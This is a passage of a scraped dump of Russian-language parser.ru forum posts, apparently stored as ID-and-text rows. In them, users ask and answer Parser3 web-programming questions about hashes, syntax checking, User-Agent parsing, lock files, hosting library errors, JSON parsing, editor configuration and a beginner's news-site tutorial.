[b]Оntral[/b] {padding-bottom: 3em; font-family: Helvetica, Verdana, Arial; font-size: 80%; padding-left: 15px; margin-right: 30px; min-width: 800px; max-width: 1300px; z-index: 4;}\
#content{padding-bottom: 3em; z-index: 4; background-color: yellow; z-index: 4;}\
#mainarea {padding-right: 5em; padding-bottom: 3em;}\
</style>\
\
Откуда берётся? Как бороться?"
"78618","http://www.parser.ru/docs/lang/stringlit.htm"
"78620","добавить отступ и необходимость в эскейпинге отпадёт:\
[code]<style>\
	…\
	#central {…}\
	…\
</style>[/code]\
\
А ещё лучше — вынести стили в отдельный файл."
"78621","Проблема была в том, что парсер обращался к файлам, которые по его мнению должны были лежать в корне домена, а не поддомена или же в каждой папке пункта меню поддомена.\
Решил проблему добавив document-root в auto.p поддомена.\
Теперь все нормально работает."
"78623","Я её читал, читал.. не особо понял некоторые моменты.\
Сделал все методом проб и ошибок :)"
"78624","в auto.p в [code]@auto[][/code] есть хеш\
[code]$a[^hash::create[]] \
$a.1[3]\
$a.2[5]\
$a.3[7][/code]\
подскажите пожалуйста как правильно обратиться из произвольного метода к этому хешу?\
конструкция [code]^MAIN:permission._count[] [/code] возвращает 3, а конструкция [code]^MAIN:permission.1[/code] дает ошибку syntax error, unexpected $undefined, expecting '[' or '{' or '('\
Заранее спасибо."
"78625","Если хэш $a, то, очевидно, [code]$MAIN:a.1[/code]."
"78627","Есть таблица\
stage id\
77 62\
70 62\
71 62\
72 54\
71 54\
\
Как превратить ее в хэш, где ключем будет id , в значением таблица.\
$hash[\
    $.62[таблица...(77,70,71)]\
    $.54[таблица...(72,71)]\
]\
\
$hHash[^Table.hash[id][stage][$.type[table]]]\
\
Если писать так, то ругается на повторяющиеся ключи."
"78629","$hHash[^Table.hash[id][$.type[table] $.distinct(1)]]\
\
^hHash.62.menu{$hHash.62.stage}[, ] => 77, 70, 71"
"78630","Спасибо"
"78631","Обломался:\
[code]@main[]\
    ^for[i](1;3){\
        $some_text[@main[][locals] blah-blah-blah]\
	$good[^check[$some_text]]\
        Result $i is $good\
    }\
	\
@check[some_text][locals]\
    ^some_text.save[check.p]\
    ^try{\
	    ^use[bad.p]\
	    $result[good]\
	}{\
	    $result[bad]\
	    $exception.handled(true)\
	}\
[/code]\
выдаёт:[quot] \
        Result 1 is bad\
        Result 2 is good\
        Result 3 is good[/quot]\
\
Есть какой-то работающий способ проверки синтаксиса без выполнения кода?"
"78634","[code]@main[]\
^for[i](1;3){\
	$code[@main[][locals]\
	^eval(2 * 2)]\
	$good(^check[$code])\
\
	Result $i is ^if($good){good}{bad}\
}[<br/>]\
\
@check[code][locals]\
$path[]\
$name[^math:uid64[]]\
$file[$path/$name]\
\
^code.save[$file]\
^try{\
	^use[$file]\
	$result(true)\
}{\
	$result(false)\
 	$exception.handled(true)\
}{\
	^file:delete[$file]\
}\
[/code]"
"78636","У меня подобная схема реализована в шаблонном движке для pf'а — http://code.volchkov.net/parser3-pf/src/2bb61a41312a0e7bf0e36bc0a6fd9f7ae76bd946/templet/pfTemple.p?at=pf"
"78637","[code]\
^try{\
	^process[$test:CLASS]{$code}\
}{\
	$result(0)\
	$exception.handled(true)\
}{\
	^file:delete[$name]\
}[/code]\
Правда никак не придумаю как изящнее избавиться от очевидной ошибки:\
\
[quot]Unhandled Exception(parser.runtime) test \
class is undefined[/quot]"
"78638","В абстрактный «левый контекст» Парсер ничего записать не сможет. Еще раз обращаю внимание, что контекстом может быть как класс, так и объект."
"78639","Просто добавил в конец auto.p\
[code]\
@CLASS\
test\
@init[]\
[/code]"
"78640","Или на все строки говорит годен, или все негодны.\
Как же сделать проверку синтаксиса без выполнения?"
"78641","[code]\
##############################################################################################################\
#Want to check\
@wtc[code][locals]\
	^if($code is string && ^code.length[] > 0){\
		$name[../test/^wtn[]-^math:uuid[].p]\
		$test[@CLASS\
test\
]		^test.save[$name]\
		^code.save[append;$name]\
		^try{\
			^use[$name]\
			$result(^code.length[])\
		}{\
			$result(0)\
			$exception.handled(true)\
		}\
#		^file:delete[$name]\
	}{\
		$result(0)\
	}\
	^Erusage:compact[]\
\
\
[/code]"
"78642","зачем вам вообще use?\
чем не устраивает ^process[$test:CLASS]{^taint[...]{код}}[$.main[test-main]]?\
\
понятно, что он должен быть в try. в catch-секции ловите возможные ошибки. в $exception.type/$exception.source/$exception.comment у вас есть возможность получить подробную информацию о проблеме."
"78643","[code]\
##############################################################################################################\
#Want to check\
@wtc[code][locals]\
	^if($code is string && ^code.length[] > 0){\
		^try{\
			$name[../test/^wtn[]-^math:uuid[].p]\
# only for manual debug \
			^code.save[append;$name]\
			^process[$test:CLASS]{^taint[optimized-as-is]{$code}}[$.main[test-main]]\
#			^process[$test:CLASS]{$code}[$.main[test-main]]\
		}{\
			$result(0)\
#			$exception.handled(true)\
		}\
	}\
	^Erusage:compact[]\
\
\
[/code]"
"78644","там ещё одна ошибка будет -- контекст, куда вы компилите код, должен существовать. об этом нужно позаботиться заранее.\
\
кроме того, зачем нужен save?"
"78645","Сейчас вроде устраивает такой функционал в auto.p:\
[code]\
##############################################################################################################\
#Want to check\
@wtc[code][locals]\
	^if($code is string && ^code.length[] > 0){\
		$name[../test/^wtn[]-^math:uuid[].p]\
# only for manual debug \
#		^code.save[$name]\
		^try{\
			^process[$test:CLASS]{^taint[optimized-as-is][$code]}[$.main[test-main]]\
			$result(^code.length[])\
		}{\
			$result(0)\
			$exception.handled(true)\
		}\
	}\
	^Erusage:compact[]\
\
\
[/code]\
\
В самом конце auto.p:\
\
[code]\
@CLASS\
test\
@init[]\
[/code]"
"78647","Я больше чем догадываюсь, что для решения этой проблемы у меня недостаточно мозгов, а точнее знаний и понимания сути, но все же решил взяться за дело. Может эту штуку и нет смысла развивать, но Я решил попробовать.\
Моя цель проверить $env:HTTP_USER_AGENT на значения и сверить с данными, например у меня при выполнении такой результат:\
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36\
Как известно Windows NT 6.1 это Windows 7 или Server.\
Так вот, Я проверяю полученную строку $env:HTTP_USER_AGENT на все значения таким образом:\
$dataOS[$env:HTTP_USER_AGENT]\
^if(^dataOS.match[Windows NT ([0-9].[0-9]{1,2})][i]){$match.1}\
Проблема в том, что Я перечитал и перепробовал множество вариантов, но так и ничего не достиг. Я хочу получить при поиске эти самые цифры 6.1 и сверить их с данными версий и отобразить какая ОперСис стоит у посетителя.\
Я выполняю поиск по следующей конструкции:\
^if(^dataOS.match[mac][i]){\
	Macintosh\
}(^dataOS.match[Windows NT ([0-9].[0-9]{1,2})][i]){\
	^if(def $match.1 eq 6.1){Windows 7}(def $match.1 eq 6.0){Windows Vista}\
}(^dataOS.match[linux][i]){\
	Linux\
}\
Знаю что неправильно, но Я не нашел нужной конструкции даже ознакомившись с уже готовыми примерами, которые опубликованы на сайте парсера.\
И у меня в голове есть идея, что можно версии и значения, например 6.1 = Windows 7, как-то записать в хеш и сверять таким способом.\
И какая проверка должна выполняться на версии Mozilla/ Chrome/ Safari/ и не только на версии, и еще на название, есть ведь и другие названия..."
"78648","[code]^if(^string.match[…]){…}[/code] — это булев контекст работы поиска совпадений: есть или нет. И даже если совпадение есть — они никуда не заносятся.\
\
$match.1…$match.100 будут доступны только при замене:\
[code]^string.match[(…);]{\
	$match.1\
}[/code]\
\
Вам необходимо использовать конструкцию\
[code]$matches[^string.match[…]]\
^if($matches){\
	# тут будут доступны для проверки части совпадения, например, $matches.1\
}[/code]\
\
\
P. S. Советую почитать [url=\"http://www.parser.ru/faq/forum/\"]FAQ[/url], особенно часть про оформление кода в вопросах."
"78649","Если правильно вас понял, то нужно делать вот так:\
[code]\
@UniOS[]\
$dataOS[$env:HTTP_USER_AGENT]\
$matches[^dataOS.match[Windows NT ([0-9].[0-9]{1,2})][i]]\
^if($matches){\
	^if($matches.1 eq 6.1) {Windows 7} (...) {...}\
}\
#или же\
$matches[^dataOS.match[([0-9].[0-9]{1,2})][i]]\
^if($matches eq Windows NT 6.1){\
	Windows 7\
} (...) {...}\
#или же\
^dataOS.match[(Windows NT ([0-9].[0-9]{1,2})); (Linux); ...]{\
	^if( def $match.1 eq 6.1){\
		Windows 7\
	}\
}\
[/code]\
Что посоветуете?"
"78650","Если вам известен маркер, то проще всего искать по нему.\
Вплоть до [code]^if(^agent.pos[Windows NT 6.1] > -1){…}[/code]\
\
Если нужно не просто проверить платформу, а работать с каждым сегментом, то нужно разобрать заголовок на части и проверять каждую.\
\
[code]\
@detect[agent][user_agent]\
$result[^hash::create[]]\
\
$user_agent[^agent.match[…;i]]\
^if($user_agent){\
	$result.product[\
		$.name[$user_agent.1]\
		$.version[$user_agent.2]\
	]\
	$result.os[\
		$.name[$user_agent.3]\
		$.version[$user_agent.4]\
	]\
	$result.layout[\
		$.engine[$user_agent.5]\
		$.version[$user_agent.6]\
	]\
	$result.browser[\
		$.name[$user_agent.7]\
		$.version[$user_agent.8]\
	]\
	…\
}\
\
@some_method[]\
…\
$user_agent[^detect[$agent]]\
\
# проверки\
^swith[$user_agent.os.version]{\
	^case[6.0]{Vista}\
	^case[6.1]{7}\
	…\
}\
[/code]\
\
Учтите, что формат User-Agent вольный и полноценный разбор [url=https://github.com/faisalman/ua-parser-js/blob/master/src/ua-parser.js]довольно сложен[/url].\
Стоит либо ограничиться общими проверками, либо поискать готовое решение, которое можно вызывать и получать разобранный результат."
"78653","Как легко и надёжно удалить ненужный более файл блокировки после использования ^file:lock[имя файла-блокировки]{код}?"
"78654","[code]\
@main[]\
  ^myLock[/../data/test.lock]{\
    ...\
  }\
\
@myLock[aFileName;aCode]\
  $result[]\
  ^try{\
    ^file:lock[$aFileName]{\
      $result[$aCode]\
    }\
  }{}{\
    ^if(-f $aFileName){\
      ^file:delete[$aFileName]\
    }\
  }\
[/code]"
"78655","лучше delete засунуть в try, т.к. при большой загрузке другой процесс может заблокировать этот lock-файл и будет ошибка."
"78657","я имел в виду, что delete надо засунуть не в уже написанный Олегом try, а в ещё один try.\
\
но вообще я такую реализацию делать бы не стал (как и любую другую по удалению lock-файлов), т.к. процесс удаления будет пытаться ставить exclusive lock и в случае, если работа под lock длительная (а обычно это так, собственно поэтому lock-и и используют), то delete будет долго ждать прежде чем попытаться удалить или отвалиться с ошибкой.\
\
т.е. если вам очень не нравятся lock-файлы, то удалять их лучше асинхронно, например запуском из cron какого-нить sh скрипта с одной командой rm с маской."
"78658","В подавляющем большинстве случаев локи можно заменить на транзакции СУБД или очереди. На мой взгляд, это гораздо удобнее и понятнее."
"78659","Привет. Бьюсь второй день. Всё что написано в FAQ проверил и перепроверил.\
\
В логах ошибка: «Premature end of script headers: parser3.cgi»\
\
ОС Linux 64, версию Парсера скачал правильно.\
Закачал parser3.cgi в режиме binary.\
Права доступа назначил 0755.\
\
В .htaccess:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Что не так?"
"78660","ssh доступ есть? Из консоли парсер запускается?"
"78661","Нет доступа. Услуга не подключена."
"78662","http://www.parser.ru/forum/?id=78554"
"78663","Результат:\
\
/usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by /home/users1/b/bogdall/domains/.../cgi-bin/parser3.cgi)\
\
/lib64/libc.so.6: version `GLIBC_2.7' not found (required by /home/users1/b/bogdall/domains/.../cgi-bin/parser3.cgi)"
"78664","Где можно подсмотреть? На github и на bitbucket есть только pf(немного не то)."
"78665","Судя по нашему форуму (вопрос поднимался), там CentOS, имеет место бинарная несовместимость с Debian. Вот ссылки на версию для CentOS. Это правда 3.4.3beta, но думаю вам не принципиально.\
\
http://www.parser.ru/f/1/download/nightly/parser3_4_3b_centos6x64_cgi_xml.tar.gz\
http://www.parser.ru/f/1/download/nightly/parser3sql_10_6_centos6x64_mysql.tar.gz"
"78666","А в чем разница между сайтами на pf и их реализацией через xslt?\
Все таки xslt это просто шаблонизатор +), который дает возможность делать шаблоны специалисту, который не знает парсера,хотя сложность вхождения в xslt и сложность его использования, навивает мысли использовать просто шаблонизатор основанный на языке самого парсера, как в pf."
"78667","Немного не понятно как происходит передача данных из БД в шаблон. Как я понимаю генерируется xml, примерно вот так:\
\
^doc.menu{\
	$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
		<applist> \
			<app>\
				<name>\
                               $doc.name\
				</name>\
			<version>\
					^doc.version\
				</version>				\
			</app>\
		</applist>}] \
}\
\
и передаётся в шаблон или же я не прав?"
"78668","Ну тут вопрос, больше не в способе передаче, а в генерации xml. У всех свои подходы и варианта реализации.\
Опять же все будет зависеть от того как шаблон будет собираться в итоговую страницу.\
В вашем же случае вы не правильно формируете исходное дерево более корректно со стороны xml\
[code]\
\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
	<applist>\
		^if($doc > 0){^doc.menu{\
			<app>\
				<name>$doc.name</name>\
				<version>^doc.version</version>	\
			</app>\
		}}\
	</applist>\
}] \
^document.transform[applist.xsl]\
[/code]\
И вот в applist.xsl уже будут правила трансформации списка приложений во что-то.\
Например в одной цмс (umi) они расширили методы трансформации и добавили в него встроенный вызов php функций, что дает возможность из шаблона полностью управлять получением данных, что я вижу несомненным плюсом )\
Как вы это сделаете уже другой вопрос..."
"78669","Никто не знает, предвидится ли новая версия парсера в ближайшее время?"
"78670","Ничего не изменилось:\
/usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.9' not found\
/lib64/libc.so.6: version `GLIBC_2.7' not found"
"78671","Что выдает uname -a?\
\
Еще можно попробовать бинарник \"для 32-битной ОС, версия gcc до 3.0\". Тогда правда библиотеку для работы с mysql (libmysqlclient.so) тоже придется 32-х битную скачать из интернета, если конечно сам парсер заработает."
"78672","Linux 2.6.18-348.12.1.el5\
\
К своему стыду признаюсь, я не в курсе, что такое uname.\
\
Я уже перепробовал все версии для Linux. Пытаю техподдержку."
"78673","Попробовал для 32-битной ОС, версия gcc до 3.0:\
error while loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory"
"78674","Заработал parser3_4_1_redhat73"
"78675","Судя по всему, это Centos 5. У нас готовых бинарников для такой версии нет."
"78677","Спасибо за терпение :-)"
"78678","Спасибо, с этим разобрался.\
\
А нет случаем jabber/irc конференции?"
"78679","Парсер разрабатывается очень аккуратно, поэтому можно спокойно брать ночные сборки — http://www.parser.ru/download/nightly/. Я уже очень давно живу на самых последних версиях, причем на рабочих проектах, которые деньги считают. :)"
"78680","Здравствуйте.\
\
Подскажите пожалуйста, почему у меня возникает такая ошибка - CONNECT\
native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present).\
\
Файл auto.p:\
\
@auto[]\
$connect_string[mysql://root@localhost/db]\
\
Какой ещё параметр ему нужен ещё, просветите, если не сложно.\
Заранее спасибо."
"78682","В строке проверка значения ключа хеш-файла.\
Вообще ни одной ссылки на слово pa_sdbm_fetch в интернетах."
"78684","[code]^if(^mcent.$sender.int(-1) >= $sum){[/code]"
"78685","mcent -- это hashfile?\
покажите, как его открываете.\
\
попробуйте написать ^mcent.[$sender].int(-1)."
"78686","Привет всем, затеял тут новый сайт и решил в этот раз сделать как неоднократно все советовали, база, все .html .p и прочие файлы в utf8 и в браузере закорючки которые, вручную меняю на utf8 - все хорошо, закрываем открываем браузер те же грабли. уже поиграл с DOCTYPE и meta-тегами никакого результата... работает пока все локально на денвере, ткните носом плиз куда копать."
"78688","Есть json такого вида\
[code]\
$json[\
{\"per_page\": 1, \"items\": [{\"salary\": {\"to\": null, \"from\": 4000000, \"currency\": \"\"}, \"name\": \"\", \"area\": {\"url\": \"\", \"id\": \"\", \"name\": \"\"}, \"url\": \"\", \"created_at\": \"\", \"relations\": [], \"employer\": {\"url\": \"\", \"alternate_url\": \"\", \"logo_urls\": {\"\": \"\", \"\": \"\", \"original\": \"\"}, \"name\": \"\", \"id\": \"\"}, \"response_letter_required\": false, \"address\": null, \"alternate_url\": \"\", \"type\": {\"id\": \"open\", \"name\": \"\"}, \"id\": \"8717428\"}], \"page\": 0, \"\": , \"found\": }\
]\
\
$hash[^json:parse[$json; \
   $.double(false) \
   $.distinct[all] \
]] \
[/code]\
\
Как достучастся к hash.items.id и hash.items.salary.from"
"78690","... там не хватает значений у двух ключей. Но если взять кусок, который нормально парсится, то никаких проблем не наблюдаю:\
[code]\
  $j[\
    {\"per_page\": 1,\
     \"items\": [\
       {\
        \"salary\": {\"to\": null, \"from\": 4000000, \"currency\": \"\"},\
        \"name\": \"\",\
        \"area\": {\"url\": \"\", \"id\": \"\", \"name\": \"\"},\
        \"url\": \"\",\
        \"created_at\": \"\",\
        \"relations\": [],\
        \"employer\": {\"url\": \"\", \"alternate_url\": \"\", \"logo_urls\": {\"\": \"\", \"\": \"\", \"original\": \"\"}, \"name\": \"\", \"id\": \"\"},\
        \"response_letter_required\": false,\
        \"address\": null,\
        \"alternate_url\": \"\",\
        \"type\": {\"id\": \"open\", \"name\": \"\"},\
        \"id\": \"8717428\"\
       }\
     ],\
     \"page\": 0\
    }\
  ]\
\
  $h[^json:parse[$j;\
    $.double(false)\
    $.distinct[all]\
  ]]\
  $h.items.0.salary.from\
[/code]\
\
Значения в квадратных скобках — это массив, а значит salary находится внутри нулевого элемента, который в парсере представлен в виде хеша.\
\
p.s. Не стоит называть переменные именами, которые совпадают с названиями встроенных классов.\
p.p.s. Если вы хотите, чтобы вам помогали, то потрудитесь аккуратнее оформлять код, чтобы была видна структура, а не длиннющая строчка с какими-то данными. :("
"78691","какой есть, получаем отсюда\
\
https://api.hh.ru/vacancies/?specialization=13&specialization=24.377&specialization=24.492&area=16&order_by=publication_time&period=21&per_page=1"
"78692","просто что не загромождать текст поудалял значения"
"78693","Строка вида: ^table::sql{status}\
Возвращает ошибку синтаксиса: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'system' at line 1\
Хотя show tables работает.\
Возможно ли выполнить такой запрос в parser3?"
"78694","Это явно видно в тексте выдачи — она явно не имеет вид таблицы. Поэтому смотрите в сторону выражения show — http://dev.mysql.com/doc/refman/5.6/en/show.html"
"78695","Друзья, я сто лет не брал в руки шашки, а тут элементарная штука нужна и не могу сообразить.\
Есть таблица вида город-адрес-имя\
Нужно вывести ее в виде:\
Город1:\
Адрес-имя\
Адрес-имя\
Город2:\
Адрес-имя\
\
Набросайте мне, пожалуйста, как. А то я себе голову сломаю, а она мне нужна."
"78696","Если таблица отсортирована по городам, то достаточно сделать menu, а город выводить если он отличается от предыдущего. Текущий город складываем в переменную, чтобы сравнить на следующей итерации."
"78697","Всем привет.\
Чтобы не плодить темы, пишу здесь.\
\
Если подсветку как-то можно настроить, то с выводом методов в списке функций пока проблема.\
Русскоязычного форума по Notepad++ не нашел, чтобы спросить там.\
\
Наверняка кто-то кодит в данном редакторе.\
Намекните, как сделать, чтобы методы выводились в списке функций?\
\
Заранее спасибо."
"78698","в простейшем случае как-то так:\
[code]\
<parser id=\"parser3_function\" displayName=\"Parser3\" commentExpr=\"(^#.+?$)\">\
	<function\
		mainExpr=\"^@[-\\w]+\\[[^\\]]*\\](\\[[^\\]]*\\])?$\"\
		displayMode=\"\"\
	>\
		<functionName>\
			<nameExpr expr=\"(?<=@)[-\\w]+\"/>\
		</functionName>\
	</function>\
</parser>\
[/code]"
"78699","Как я понимаю, надо править functionList.xml, langs.model.xml и что-то еще, чтобы методы отобразились, но при добавлении данных язык так и не отображается в списке.\
\
Пробовал менять блоки Javascript на шаблон для парсера, но все равно ничего не вышло.\
\
В чем тут секрет, как заставить редактор выводить методы языка не из списка встроенных?"
"78700","в доке-же всё [URL=http://notepad-plus-plus.org/features/function-list.html]написано[/URL]:\
[quote]\
Link to Language\
Once you finish to defined your parser, you can associate it with Notepad++ internal language id (or with file extension), in order to make it works with the language you want. All you need to do is add association node(s) into associationMap node.\
[/quote]\
\
functionList.xml\
[quote]\
		<!--\
			if langID cannot be found above, you can still set the file extensions\
			<association ext=\"my_passer_ext1\" id=\"my_passer_id\"/>\
			<association ext=\"my_passer_ext2\" id=\"my_passer_id\"/>\
		-->\
[/quote]\
\
т.е. в дополнение к ранее написанному:\
[code]\
<association ext=\".p\" id=\"parser3_function\" />\
[/code]"
"78701","Спасибо, правил файл в каталоге установки, а надо было в профиле.\
\
В таком варианте нужно вручную править файл, но в списке языков все равно не появляется Parser 3.\
Если для файла .html выбрать синтаксис HTML, то потом назад к парсеру уже не перейти.\
\
Жаль, что нет возможности экспортировать/импортировать подобные изменения, переключаться на пользовательскую настройку языков и быстро обновлять список функций.\
\
Ну хоть методы теперь видны.\
Спасибо за ответы."
"78703","есть сайт на хостинге hc.ru\
при открытии страницы перенаправляет на http://err.hc.ru/cgierr/34/\
Создал тестовую страницу, такую ошибку вызывают некоторые sql-запросы. Причем логика вообще не понятна:\
Добавляю одно поле в выборку - ошибка, выбираю одно это поле - нет\
ошибки, добавляю вместо него другие 10 полей - нет ошибки. В общем в разных вариациях ошибка то появляется, то исчезает.\
Через phpmyadmin точно такой-же запрос выдает нормальный ответ без ошибок\
\
Версия парсера: Parser/3.4.3b (compiled on i386-unknown-freebsd8.1)\
Пробовал 3.4.2 - ошибки такие-же.\
\
[code]$ uname -a\
FreeBSD fe78.hc.ru 8.3-RELEASE-p4 FreeBSD 8.3-RELEASE-p4 #0: Tue Aug 14 15:01:24 UTC 2012     root@tinderbox1.infra.hostcomm.ru:/usr/obj/i386/usr/src/sys/FE  i386[/code]\
\
через ssh выдает ошибку \"Segmentation fault: 11\"\
\
вот что пишет их support:\
....................\
Сам по себе такой результат и является причиной перенаправления на http://err.hc.ru/cgierr/34/ [i](это про Segmentation fault: 11[/i]).\
Насколько мы понимаем, проблема связана именно с получением \"неожиданного\" ответа от MySQL-сервера, однако подробности может уточнить только разработчик данного скрипта.\
....................\
\
\
посоветуйте что можно попробовать? может быть какой-то другой драйвер для mysql? (libparser3mysql.so)"
"78704","уже после написания поста решил попробовать скачать \"свежий\" SQL-драйвер прямо отсюда: http://www.parser.ru/download/freebsd8/\
и все заработало )\
\
Странно, может я сам ошибся с драйвером, не для той ОС загрузил?"
"78705","parser3_4_2_ru\
windows 7, 32bit\
Denwer3_Base_2012-09-16_a2.2.22_p5.3.13_m5.5.25_pma3.5.1_xdebug\
привет, всем!\
\
застрял на 4 уроке Шаг второй — переходим к работе с БД\
создал бд,потом,создал новость в разделе новость, захожу на страницу http://parsertest/news/index.html белый фон\
\
Помогите, пожавлуйста, избавится от белого фона, в чём моя ошибка? как исправить ошибку?\
\
мои действие:\
\
запрос sql\
CREATE TABLE `news` (\
`id` INT NOT NULL AUTO_INCREMENT ,\
`date` DATE NOT NULL ,\
`header` VARCHAR( 255 ) NOT NULL ,\
`body` TEXT NOT NULL ,\
PRIMARY KEY ( `id` ) \
);\
\
\
\
news\
[b]index.html[/b]\
[code]@greeting[]\
Страница новостей, заходите чаще!\
@body_additional[]\
<center>Архив новостей за текущий месяц:</center>\
<br />\
^calendar[]\
@body_main[]\
$now[^date::now[]]\
<b><h1>НОВОСТИ</h1></b>\
$day(^if(def $form:day){\
$form:day\
}{\
$now.day\
})\
^connect[$connect_string]{\
$news[^table::sql{select\
date, header, body\
from\
news\
where\
date='${now.year}-${now.month}-$day'\
}]\
^if($news){\
^news.menu{\
<b>$news.date — $news.header</b><br />\
^untaint{$news.body}<br />\
}[<br />]\
}{\
За указанный период новостей не найдено.\
}\
}\
$day(^if(def $form:day){\
$form:day\
}{\
$now.day\
})\
#[color=\"red\"]$now.day - у вас не определена, на сколько я вижу[/color]\
\
admin\
auto.p\
[code]@auto[]\
$connect_string[mysql://root@localhost/p3test]\
${now.year}-${now.month}-${now.day}\
${имя_переменной}-\
@main[]\
^header[]\
^body[]\
^footer[]\
$form:поле_формы\
<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>[/code]\
\
[b]index.html[/b]\
[code]@greeting[]\
Администрирование новостей\
@body_additional[]\
Добавление новостей\
@body_main[]\
$now[^date::now[]]\
<center>\
<form method=\"POST\">\
<p>\
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
Header: <input name=\"header\">\
</p>\
<p>Body:<br />\
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea>\
</p>\
<p>\
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp;\
<input type=\"reset\" value=\"Cancel\">\
</p>\
</form>\
#начало обработки\
^if(def $form:date && def $form:header && def $form:body){\
^connect[$connect_string]{\
^void:sql{insert into news\
(date, header, body)\
values\
('$form:date', '$form:header', '$form:body')\
}\
…сообщение добавлено\
}\
}{\
…для добавления новости необходимо заполнить все поля формы\
}\
</center>\
\
в корнеаой папке\
[b]index.html[/b]\
[code]^navigation[]\
^header[]\
^body[]\
^footer[][/code]\
\
[b]auto.p[/b]\
[code]@main[]\
^header[]\
^body[]\
^footer[]\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\">\
^sections.menu{\
^navigation_cell[]\
}\
</tr>\
</table>\
<br />\
\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">\
<nobr>$sections.name</nobr>\
</td>\
}{\
<td width=\"$cell_width\" align=\"center\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
<tr>\
<td></td>\
</tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br />1997-$now.year</center>\
</font>\
</body>\
</html>\
\
\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\" height=\"60\">\
<td align=\"center\">\
<font size=\"+2\"> <b>^greeting[]</b></font>\
</td>\
</tr>\
</table>\
\
@greeting[]\
Добро пожаловать!\
\
@body[]\
^navigation[]\
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#ffffff\" height=\"100%\">\
<td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
<b>^body_additional[]</b>\
</td>\
<td width=\"70%\" valign=\"top\">\
^body_main[]\
</td>\
</tr>\
</table>\
<br />\
\
@body_additional[]\
Главная страница сайта\
@body_main[]\
Основное содержание[/code]"
"78706","parser3_4_2_ru\
windows 7, 32bit\
Denwer3_Base_2012-09-16_a2.2.22_p5.3.13_m5.5.25_pma3.5.1_xdebug\
раздел в сcылке не отображается \
например\
 в браузере http://parsertest/\
перехожу на меню \"цены\" не чего не происходит остаюсь на той же странице\
перейти можно только на контакты и на Ваше мнение!\
всё правильно сделал, но блин не переходит на страницу!\
как сделать что бы на все ссылки переходить мог?)\
спасибо, заранее!\
\
\
auto.p\
[code]@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
<td align=\"center\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
</tr>\
</table>[/code]\
\
index.html\
[code]^navigation[][/code]\
\
sections.cfg\
[code]section_id	name	uri\
1	Главная 	/\
2	Новости		/news/\
3	Контакты	/contacts/\
4	Цены		/price/\
5	Ваше мнение	/gbook/[/code]"
"78708","sections.cfg заданы название меню и uri(news,contacts,price)\
\
на главной страницы\
меню не видет саму uri точнее \
www.parser/news/\
www.parser/price/\
www.parser/gbook/\
\
когда кликаю на меню \"news\" ссылка остаётся www.parser/\
\
а должно www.parser/news/\
как то так)"
"78709","1. в /new/index.html напишите:\
[code]\
@main[]\
Проверка новостей\
[/code]\
обратитесь к страничке http://parsertest/news/index.html и посмотрите что напишет.\
если выдаст \"Проверка новостей\", то переходите к следующему шагу\
\
2. в /new/index.html напишите:\
[code]\
@main[][now;news]\
$now[^date::now[]]\
<b><h1>НОВОСТИ</h1></b>\
^connect[$connect_string]{\
	$news[^table::sql{\
		select\
			date,\
			header,\
			body\
		from\
			news\
		where\
			date='^now.year.format[%04d]-^now.month.format[%02d]-^now.day.format[%02d]'\
	}]\
}\
^if($news){\
	^news.menu{\
		<b>$news.date — $news.header</b><br />\
		^untaint{$news.body}<br />\
	}[<br />]\
}{\
	За указанный период новостей не найдено.\
}\
[/code]\
обратитесь к страничке http://parsertest/news/index.html и посмотрите что напишет.\
\
P.S. обратите внимание на то, что отформатированный код гораздо проще читать."
"78710","[quote]\
меню не видет саму uri точнее\
[/quote]\
\
это как?\
view | source -- что у вас в a/@href?"
"78711","1.пишет \"Проверка новостей\"\
\
2.пишет Unhandled Exception"
"78712","да, не видит саму uri\
а там где uri(news/) html страница\
например\
 на главной странице, не могу перейти на меню \"новости\" - news\
остаюсь на главнойй странице!"
"78714","откройте конфигурационный auto.p (который рядом с парсером, хотя где он в denwer я не знаю) и сделайте так, чтобы в методе @unhandled_exception[] вызывался @unhandled_exception_debug[] вместо @unhandled_exception_release[].\
\
после этого, оставив вариант 2 из моего предыдущего сообщения, обратитесь к странице ещё раз.\
вы увидите полный текст сообщения он ошибке.\
попробуйте по нему понять суть ошибки.\
если не получится -- пишите его сюда (без stack trace).\
\
